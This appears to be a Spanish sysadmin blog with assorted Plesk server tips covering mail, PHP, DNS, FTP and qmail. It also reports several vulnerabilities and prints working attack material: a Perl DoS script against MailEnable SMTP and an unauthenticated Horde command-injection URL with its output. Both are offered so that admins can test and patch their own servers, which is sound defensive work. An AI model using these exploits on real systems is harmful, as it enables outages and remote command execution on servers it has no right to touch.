bueno.. a veces ocurre, que te encuentras el courier-imap o el pop o el smtp echados abajo, relanzas el servicio y sigue asi. Si al comprobar veis que se cumplen dos condiciones:
- /etc/xinetd.d/servicio
ese fichero aparece alterado, ya sea vacio por completo, con la linea disabled = yes en lugar de disabled = no o renombrado
- panel de control, servidor, administrador de servicios.. servicio parado
Hay muchas (muchisimas) posibilidades de que el modulo de watchdog sea el responsable. Como a mi, personalmente, no me convence su funcionamiento.. el consejo del dia es "deshabilita el watchdog". Puedes hacerlo en el panel de control, pinchando en la opcion de modulos, seleccionandolo y dandole a desactivar.
Si no os aparece en modulos, es que no lo teneis instalado.
echandole un ojo a lo ultimo que habia salido, me he encontrado con :
http://www.securityfocus.com/bid/19017/info
que viene a ser:
Plesk Control Panel File_Manager.PHP Cross-Site Scripting Vulnerability
Bugtraq ID: 19017
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Jul 17 2006 12:00AM
Updated: Jul 18 2006 10:58PM
Credit: INVENT is credited with the discovery of this vulnerability.
Vulnerable: SWSoft Plesk Control Panel 8.0
En el enlace de xploit, para que probeis vuestro sistema, os dara un error 404.. no esta bien puesto. El correcto es:
http://downloads.securityfocus.com/vulnerabilities/exploits/PleskControlPanel800July172006.html
(cambiando el puerto al que sea el del panel, claro)
Segun pone ahi, la gente de sw-soft no ha publicado solucion.. segun tenia entendido, el 8.0.1 venia corregido para esto (no tengo uno a mano ahora, si pruebo os contare) y, aunque veais por ahi que pone inferior o igual a 8.0, es mentira.
hace poco me toco vaciar algunas listas de correo y, asombrado yo, desde el admin web de mailman no se puede.. solo se le puede decir que deje de guardar contenidos, pero no que borre los ya guardados. Buscando por ahi, vi que habia que borrar el contenido de un par de directorios y ejecutar el arch, con el nombre de la lista. Para comodidad, os dejo el contenido de un .sh que lo hara por vosotros, ejecutando fichero.sh nombredelalista. No esta totalmente probado, asi que haceros un backup primero de lo que vayais a probar y eliminar despues.. no tengo tiempo para andar jugueteando :P
-----------------------
#!/bin/sh
if [ -n "$1" ]; then
rm -fr /var/mailman/archives/private/$1
rm -fr /var/mailman/archives/private/$1.mbox
mkdir /var/mailman/archives/private/$1.mbox
chown root:mailman /var/mailman/archives/private/$1.mbox
touch /var/mailman/archives/private/$1.mbox/$1.mbox
chown mailman:mailman /var/mailman/archives/private/$1.mbox/$1.mbox
/var/mailman/bin/arch $1
echo "tomar por culo contenido... :D"
Este problema es debido a la limitacion que trae, por defecto, el php. Es tan facil como editar el fichero /etc/php.ini y buscar estas variables:
memory_limit = XM
upload_max_filesize = XM
post_max_size = XM
las X tendran algun valor, depende de vuestra configuracion, que podeis aumentar. Ojo con subirlo demasiado o apareceran los problemas despues :)
Hace poco me encontre con este error, no podia utilizar un script hecho en asp para apache y me cantaba:
"can\\'t create group dir /tmp/.state/server: Permission denied"
la solucion es extremadamente facil... solo hay que dar, como dice ahi, permisos a ese directorio. Entramos por ssh y:
chown -R apache:apache /tmp/.state
y a probar :)
se que tendria que haberlo puesto un poco antes, pero he estado liado..
ha salido una vulnerabilidad en el smtp de mailenable. Es un DoS (Denegacion de Servicio/Denial of Service) que echa abajo el servicio de smtp y deja a la maquina sin correo.
Podeis comprobar si vuestro servidor es vulnerable con este corto codigo en perl:
#!/usr/bin/perl -w
#
# Mailenable SMTP DoS exploit
# 24/06/2006
#
# Filbert at divisionbyzero dot be
#
use Net::Telnet;
$string = "\0x99";
for ($count = 1; $count <= 10; $count++)
{
$telnet = new Net::Telnet ( Timeout=>60, Errmode=>'return',Port=>'25');
$telnet->open($ARGV[0]);use Net::Telnet;
$telnet->print("helo ", $string, "\n");
}
En caso de que lo seais (muy probable), podeis bajar el parche desde la web de mailenable, en :
http://www.mailenable.com/hotfix/MESMTPC.ZIP
Descripcion de la web de mail enable:
ME-10013: Saturday, June 24, 2006
SMTP Service crashing fix
Priority: Critical
For MailEnable Standard: all versions
a veces interesa meter codigo php en mitad de una pagina html o, mejor aun, hacer paginas en php con extension html (o htm, claro).
Si os pasa esto con un plesk linux, una forma facil/rapida de preparar el vhost para que lo haga es la siguiente.
Editamos el fichero vhost.conf (Exista o no) de nuestro dominio, en la ruta /conf del directorio particular, que puede ser /usr/local/psa/home/vhosts/dominio.com /home/httpd/vhosts/dominio.com /var/www/vhosts/dominio.com etc
Aseguraros de que lo creais en el directorio /conf, donde tambien habra de antemano un httpd.include y quiza algo mas.
En el contenido del fichero ponemos:
RemoveHandler .html .htm
AddType application/x-httpd-php .html .htm
Guardamos el fichero y ejecutamos
#/usr/local/psa/admin/bin/websrvmng --reconfigure-vhost --vhost-name=nombredeldominio.cmo
#service httpd restart
y.. et voila :)
en alguna ocasion os habreis encontrado con que, a la hora de enviar o reenviar un mensaje con adjuntos "grandes" desde el webmail os da un error y se queda tan agusto diciendo que 'no se puede mostrar la pagina'. El motivo mas comun de esto, es la asignacion de memoria en el php.ini. Si mirais el error_log en /var/log/httpd, seguramente vereis algo como:
Allowed memory size of 8388608 bytes exhausted (tried to allocate 0 bytes)
Para corregirlo, tendreis que editar el fichero /etc/php.ini y buscad la linea con 'memory_limit =' para cambiar el valor.
Tened en cuenta que cuanto mas alto sea el valor, mas grandes podran ser los ficheros (...) pero mas recursos se llevara. Jugar con el, sabiendo la ram de la que dispone la maquina y, una vez cambiado, relanzar el apache con:
#service httpd restart
y probad de nuevo.
Nuestro amigo el panel plesk, trae un par de scripts bastante utiles, que nos pueden ahorrar trabajo en alguna que otra ocasion.
El primero de ellos es el websrvmng. Personalmente, el mayor uso que le doy, es repasar los permisos de la web. Cuando se toca por error y empiezas a recibir accesos denegados, este script lee de la tabla psa, y escribe lo necesario. Tambien repasa configuracion en el sitio virtual. Se encuentra en la ruta:
C:\program files\swsoft\plesk\admin\bin
suponiendo que no hayais modificado el directorio de instalacion por defecto. Si lo habeis hecho.. pues nada, estara en la otra.
El parametro de moda es:
websrvmng --reconfigure-vhost --vhost-name=dominio.com
siendo dominio.com el vhost a reconfigurar, para que reescriba su configuracion.
En el caso de que querais que lo haga con todos (tarda un rato, dependiendo de la cantidad de dominios que tengais en la maquina), deberiais de poner:
websrvmng --reconfigure-all
y se pondra a currar.
Otro, tambien bastante util, en el mismo directorio y para muchos problemas de correo es mchk. Cuando tengais problemas con el mailenable, de esos que no tienen una explicacion demasiado logica, antes de mirar nada, probad esto. Ejecutad mhck --all. Si solo incumbe a un dominio.. pues mchk --domain-name=dominio.com. Si se han perdido cuentas, pero en el panel estan creadas, esto tambien te las recrea, basandose en lo que encuentre en la base de datos, con mchk --fix=all
hoy es dia de prisas... ha salido una vulnerabilidad para el imp-horde, el webmail que trae plesk, bastante grave. Permite ejecutar comandos sin tener ningun tipo de autenticacion, con los privilegios del usuario apache. Os copio un ejemplo, extraido del xploit hecho por la gente de http://www.514.es :
http://webmail.dominiovulnerable.com//horde//services/help/?show=about&module=;%22.passthru(%22id%22);
eso, ejecutaria 'id' en la maquina afectada, devolviendo algo como :
uid=48(apache) gid=48(apache) grupos=48(apache),2523(psaserv)
El resto, es cosa de echarle imaginacion... el caso, hay que actualizar el horde (mas abajo os pego el advisory, en ingles) o, de momento, deshabilitarlo. Podeis borrarlo del dns para que no resuelva, quitar la opcion de webmail en vuestro panel.. como veais.
El advisory donde lo cuentan:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Si, si.. he vuelto.. y soy un vago que lleva tiempo sin escribir.. pero es lo que tienen las cosas gratuitas, no? :-P
Hoy vamos a ver algo que, a veces, agobia un poco. Envias mensajes (o recibes, a veces) y estos se duplican, suponiendo un problema, ya no solo por el consumo de trafico. Esto se genera porque la cola (queue) de qmail, se corrompe. Los motivos de esto pueden ser muy diversos.. desde que se haya tocado a mano, a que exista un problema de disco, un corte en un momento equivocado, etc.
Para esto, si hubiesemos instalado el qmail compilandolo en nuestra maquina, habria una solucion mas sencilla, pero yo cuento con que hablamos de qmail con plesk linux, que va por rpms. Primero tenemos que bajarnos el queue-repair, al servidor donde tenemos el qmail problematico. Podeis encontrarlo aqui:
http://pyropus.ca/software/queue-repair/queue-repair-0.9.0.tar.gz
Una vez bajado, lo descomprimimos y empezamos al lio.
#service xinetd stop
#service qmail stop
con esto paramos los servicios, "paporsi".
harto de que usen tu servidor dns en las conexiones de internet? te consumen trafico y recursos por la cara. Para que tu servidor dns *solo* resuelva los dominios que tiene configurados y se olvide de los externos tienes que añadir al named.conf :
allow-recursion {
127.0.0.1;
};
y.. bueno, si quieres que tu adsl pueda (o alguna otra ip), pues la metes tambien ahi
Podemos averiguar la version de estos servidores dns de una forma muy sencilla. En una ventana de msdos, ponemos nslookup y seguimos los siguientes pasos:
> set class=chaos
> set type=txt
> version.bind
Servidor: unservidor de dns
Address: 1.2.3.4
version.bind text =
"1.2.3"
>
ahi vemos como se haria un query a un servidor de dns (el que tuviesemos configurado en nuestra conexion) y nos dice que la version es 1.2.3.
Si no queremos que nuestro servidor dns devuelva la version, podemos modificar este mensaje siguiendo un articulo que he encontrado en unsec.net :
---cut---
Cambiar la version de Bind
Esta va a peticion ;)
Para cambiar la version del bind y no mostarar la verdedara
se utiliza "version" dentro de "options" del archivo
named.conf, como el siguiente ejemplo:
options {
version "Smile!, you re logged!";
........
};
---cut---
En el caso de un servidor linux con plesk, el named.conf se encuentra en /etc/named.conf
Alguna vez ha pasado, que no funciona ni una cuenta de ftp, todas te devuelven el error:
Cannot log in, home directory inaccessible
Esto, en el caso de que falle en todas, suele ser debido al nombre de la maquina, que tiene mas de 15 caracteres.
Para cambiar esto, entrad al servidor, id a "mi pc", en las propiedades, y cambiad el nombre de la maquina por algo mas corto. Reiniciad el servidor para que los cambios surtan efecto y probad de nuevo.
De vez en cuando, y segun el criterio personal de cada uno, hay que tener unos valores diferentes en el SOA de los que nos coloca ahi el panel de control plesk.
Podriamos ir dominio por dominio, modificandolo, pero despues, en cuanto hagamos un cambio desde el panel, este nos volvera a dejar los valores por defecto. Si queremos que los valores por defecto sean otros, tendriamos que cambiarlo en la base de datos.
Se pueden modificar:
SOA_TTL
SOA_Refresh
SOA_Retry
SOA_Expire
SOA_Minimum
Si no existe, utilizara el que el tiene por defecto. Para cambiar uno de ellos, para los que andeis pez en mysql, seria tan facil como:
INSERT INTO misc VALUES ('SOA_TTL','VALOR');
sustituir la palabra VALOR por el numero a asignar (dejad las comillas!).
Si andais muy muy pez, para entrar a la base de datos, desde la consola ssh, poned:
mysql -uadmin -p`cat /etc/psa/.psa.shadow`
y, una vez dentro, escribid
use psa
Y ya tendreis la base de datos "psa" (la del panel de control plesk) en uso.